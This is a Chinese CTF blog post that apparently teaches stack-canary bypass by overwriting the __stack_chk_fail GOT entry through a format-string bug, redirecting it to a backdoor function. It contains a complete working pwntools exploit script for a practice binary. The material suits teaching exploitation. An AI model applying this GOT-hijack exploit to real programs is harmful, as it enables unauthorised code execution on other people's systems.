Canary绕过专题(5)——劫持__stack_chk_fail
338 字
2 分钟
Canary绕过专题(5)——劫持__stack_chk_fail
劫持__stack_chk_fail函数
原理
遇到canary错误时,会执行以下函数:
#include <stdio.h>
void__attribute__ ((noreturn))__stack_chk_fail (void){ __fortify_fail ("stack smashing detected");}劫持__stack_chk_faik函数的got表为目标函数即可
例题分析
检查安全机制

没有 Full RELRO ,修改GOT表的思路可行
再看IDA

能溢出128字节,这个题应该是可以用覆盖截断字符的方法的
但这里我们还是用劫持 _的方法
关键点在于 printf(buf)
我们可以用它找到输入的 buf 是 printf 的第几个参数,这样就找到了写入点
再用pwntools自带的 fmtstr_payload 函数,自动生成修改地址的格式化字符串
我们就能把__stack_chk_faik的got表改为backdoor地址
输入 AAAA测试一下

用 fmtarg指令计算偏移

这样就得到了offset = 6
这里我们还需要判断一下自动生成的格式化字符串链能否覆盖到Canary,不够的话就需要我们补齐
length = len(payload)if length < 72: payload += b'A' * (72 - length + 8)else: payload += b'A' * 16最后exp:
from pwn import *context.arch = 'amd64'context.log_level = 'debug'#p = process('./canary5')p = remote('ip',port)elf = ELF('./canary5')
backdoor = elf.symbols['backdoor']got_chk_fail = elf.got['__stack_chk_fail']
offset = 6
payload = fmtstr_payload(offset, {got_chk_fail: backdoor_addr})length = len(payload)if length < 72: payload += b'A' * (72 - length + 8)else: payload += b'A' * 16
p.recvuntil(b"Tell me your story:\n")p.send(payload)
p.interactive()支持与分享
如果这篇文章对你有帮助,欢迎分享给更多人或赞助支持!
Canary绕过专题(5)——劫持__stack_chk_fail
https://joker233.top/posts/canary-bypass-5-hijack-stack-chk-fail/ 相关文章 智能推荐
1
Canary绕过专题(4)——SSP泄露
CTF 利用SSP泄露获取flag 机制讲解 SSP 是编译器为了防止栈溢出攻击加入的一种保护机制 当程序运行时检测到Canary被破坏,会触发 stackchkfail 函数,准备终止程序并报错。 关键特性: 报错机制: 在 glibc 2.25
2
Canary绕过专题(3)——One-By-One爆破
CTF 利用fork()获取Canary 核心原理 fork()是一个系统调用,它的作用是“复制”当前进程,创建一个全新的、几乎一模一样的子进程。 关键特性: 子进程是父进程的副本,它们有各自独立的内存空间。 对于Canary来说,最关键的一点是:
3
Canary绕过专题(1)——覆盖截断字符
CTF 覆盖截断字符获取Canary 先看例题 检查一下安全机制 IDA中找到漏洞函数 很贴心的给了一个backdoor 这题的栈帧挺好分析的,画个图出来 函数中有两次栈溢出可利用,第一个 read可读112字节,正好覆盖不到返回地址 第二个 re
4
Canary绕过专题(2)——格式化字符串泄露
CTF 格式化字符串泄露Canary 检查一下安全机制 再看看IDA 跟上一道题差不多,但第一个 read只能读取5字节 我们主要还是关注后面的 printf 使用 printf的关键是找栈上的偏移 我们在gdb里运行到Canary在栈上被布置后,
5
DASCTF 2026 Pwn方向 WP
CTF DASCTF 2026 Pwn方向部分题目赛后复现
随机文章 随机推荐